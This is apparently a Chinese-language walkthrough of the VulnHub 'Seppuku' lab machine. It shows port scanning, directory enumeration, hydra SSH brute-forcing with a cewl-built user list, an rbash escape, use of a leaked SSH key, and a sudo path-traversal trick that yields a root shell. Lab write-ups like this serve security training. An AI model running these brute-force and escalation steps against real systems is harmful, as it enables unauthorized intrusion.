提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
- 1. 主机发现
- 2. 端口扫描
- 3. 服务枚举
- 4. 服务探查
- 4.1 FTP探查
- 4.2 80端口探查
- 4.3 探查smb
- 4.4 探查7080端口httpd
- 4.5 探查Apache
- 4.6 探查8088端口的LiteSpeed
- 4.7 大海捞针
- 5. 提权
- 5.1 枚举系统信息
- 5.2 查看passwd文件
- 5.3枚举定时任务
- 5.4 枚举可执行文件
- 5.5 突破shell限制
- 5.6 查看capabilities位
- 5.7 查看seppuku用户家目录
- 5.8 Linpeas提权
靶机地址:https://download.vulnhub.com/seppuku/Seppuku.zip
1. 主机发现
目前只知道目标靶机在232.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.232.0/24
锁定靶机IP地址位192.168.232.142。
2. 端口扫描
$ sudo nmap -p 1-65535 192.168.232.142
呀,这个靶机开放的端口还真是多。
3. 服务枚举
通过下面的命令枚举一下端口上的服务。
$ sudo nmap -p21,22,80,139,445,7080,7601,8088 -A -sT -sV 192.168.232.142
枚举出来的内容也是比较多的,我们逐个看看。
4. 服务探查
4.1 FTP探查
先通过匿名用户试一下FTP。
$ ftp 192.168.232.142
是有密码保护的,后面不行再回来爆破一下,先看看这个FTP版本有没有现成的EXP。
只有一个远程DoS的EXP跟我们的版本是匹配的,不过跟我们想要突破边界的目的相去甚远,还是看看别的,跳过SSH,直接看80端口。
4.2 80端口探查
先用浏览器访问一下看看。
80端口上需要身份认证,直接枚举一下这个端口上的目录。
$ dirsearch -u http://192.168.232.142:80/
哭笑不得,只有一个info.php,既然这么有诚意,就进去看看吧。
确实能看到一些信息,不过目前没有发现太特别的,该端口上的nginx服务也没有发现有价值的EXP。
4.3 探查smb
这里探查一下139和445端口上的smb服务。
$ smbclient -L //192.168.232.142 -U root
没看到共享目录,更不用谈可写的共享目录了,所以这里基本上没戏,直接searchsploit搜索一下smbd 4.9.5有没有EXP吧,也没有找到合适的。
4.4 探查7080端口httpd
先用浏览器看看。
没有太特别的,通过dirsearch枚举一下这个端口的目录。
$ dirsearch -u https://192.168.232.142:7080/
内容比较多,但是绝大多数都是403,再通过dirb挂载big字典扫一把。
$ dirb https://192.168.232.142:7080/ /usr/share/wordlists/dirb/big.txt
效果也是一样的,浏览一下仅有的几个地址看看。
只能看到OpenLiteSpeed的用户手册,没有其它。
4.5 探查Apache
先用浏览器访问一下看看。
是一个静态图片,继续目录枚举。
$ dirsearch -u http://192.168.232.142:7601/
枚举出来一些内容,逐个看看。
其中在/ckeditor目录下的内容有些可疑,可以在这里定制模板,应该可以插入一些反弹shell啥的,不过完全看不明白,暂时跳过,如下图。
后面实在没招的时候回来研究一下咱们在这个类似word的页面中插入反弹shell。另外在/secret/目录下有几个文件值得我们关注,分别是passwd和shadow的备份文件,另一个是密码字典。
这些内容肯定是有用的,先从passwd.bak文件中过滤一下,发现主要有两个用户值得尝试:root和rabbit-hole。
分别用和两个用户挂上上面的密码列表文件password.lst爆破一下ssh端口。
$ hydra -l root -P passwordlst.txt 192.168.232.142 ssh
$ hydra -l rabbit-hole -P passwordlst.txt 192.168.232.142 ssh
都没有爆出来,暂时放弃。
4.6 探查8088端口的LiteSpeed
先用浏览器访问一下。
8080端口上打开的仍然是这个图片,枚举一下目录。
$ dirsearch -u http://192.168.232.142:8088/
内容不多,还有个登录入口,逐个看了一下,其中/index.php和/index.php/login/都是指向一个web console,如下图。
随便输入一下,看看有啥返回。
用burp通过root和rabbit-hole配合之前找出来的那个passwd.lst文件爆破一下看看。
没有爆破出结果,到此为止,黔驴技穷。
简单复盘一下前面的经过,总感觉这个靶机不会随随便便给提供一个密码字典,可是我们把passwd.bak文件都捞遍了,也没有发现除了root和rabbit-hole之外的用户,难道我们漏掉了用户?
4.7 大海捞针
直接用cewl爬一下开放的几个http端口,用爬出来的内容作为用户列表,然后挂上前面的密码字典进行爆破试试看,先爆破ssh,再爆破那几个登录页面。
$ cewl http://192.168.232.142/ > cewl.txt
$ cewl https://192.168.232.142:7080/ >> cewl.txt
$ cewl http://192.168.232.142:7601/ >> cewl.txt
$ cewl http://192.168.232.142:8088/ >> cewl.txt
$ cat cewl.txt
死马当活马医吧,去掉三个标题行,剩下的作为用户列表,先爆破ssh。
$ hydra -L cewl.txt -P passwordlst.txt 192.168.232.142 ssh
嗯,还是没有结果,不知道是不是用户名列表大小写的原因,都换成小写,再爆一把。
我的神啊,真的爆出来了,用户名是seppuku,密码是eeyoree。
5. 提权
先优化一下shell。
$ whereis python
$ /usr/bin/python3.7 -c "import pty;pty.spawn('/bin/bash')"
感觉这个shell有些不太正常,受限制了,先凑活着用。
5.1 枚举系统信息
$ uname -a
$ cat /etc/*-release
是64为的debian 10。
5.2 查看passwd文件
$ cat /etc/passwd | grep -v nologin
上面这几个用户都是值得我们注意的。
5.3枚举定时任务
$ cat /etc/crontab
5.4 枚举可执行文件
$ sudo –l
$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"
$ find / -user root -perm -4000 2>/dev/null
貌似没啥用,shell受限,想办法突破限制。
5.5 突破shell限制
$ ssh seppuku@192.168.232.142 -t "bash --noprofile"
这次OK了。再试试枚举前面的可执行文件。
没有太多收获,再试试刚学的capabilities位。
5.6 查看capabilities位
$ /usr/sbin/getcap -r / 2>/dev/null
没有合适的capabilities。
5.7 查看seppuku用户家目录
没有太特别的,看看.passwd里面有些啥。
额,里面有个密码12345685213456!@!@A,具体是谁的密码目前还不清楚,再看看其它目录。
也没有太特别的发现。尝试用这个密码,看看能不能登录之前那几个枚举出来的passwd文件中的用户。
直接进入的samurai的用户,看看这个用户下的sudo权限,再看看这个用户的目录下有些啥。
还是受到rbash的限制,用前面的方法绕过一下。
这次可以了,继续。
嗯,samurai用户可以不需要密码的情况下执行tanto用户的.cgi_bin/bin /tmp/* 进行提权。
再看看tanto的home目录,竟然没有对应的.cgi_bin目录和bin文件。
除了两个同样的密钥,也没有其它有价值的信息。
手动创建.cgi_bin目录试试看。
创建失败。在/tmp/下面创建一个反弹shell,执行试试看。
仍然不允许,把上面的密钥放到kali本机的~/.ssh/id_rsa文件中,尝试用该证书登录tanto用户。
失败了。嗯,看来还是得想办法进入到tanto用户下创建一个.cgi_bin,先linpeas看看再说吧。
5.8 Linpeas提权
实在没有别的招数了,用linpeas试试。
首先是CVE-2019-13272的漏洞,显示很高的概率,直接下来试一下。
失败了,不具备条件,继续往下看,找到一个我们感兴趣的内容。
可能是个ssh的key,说不定就是我们想要切入的tanto用户呢,进去看看再说。
private和private.bak的内容是一样的,放到kali本机的~/.ssh/id_rsa文件中,尝试用该证书登录tanto用户试试看。
不错,直接就进去了,看看那个.cgi_bin/bin。
果真没有,直接在tanto用户下看看可执行文件。
需要密码,还是手工创建一个.cgi_bin/bin看看吧。
tanto@seppuku:~$ mkdir -p ~/.cgi_bin && cd ~/.cgi_bin/ && echo "/bin/bash" > bin && chmod u+x bin
进入到原来的samurai用户,执行不需要密码的sudo命令尝试提权。
samurai@seppuku:/tmp$ sudo -l
samurai@seppuku:/tmp$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
貌似是提权成功了,验证一下。
没有问题,获取一下flag看看。
提权成功。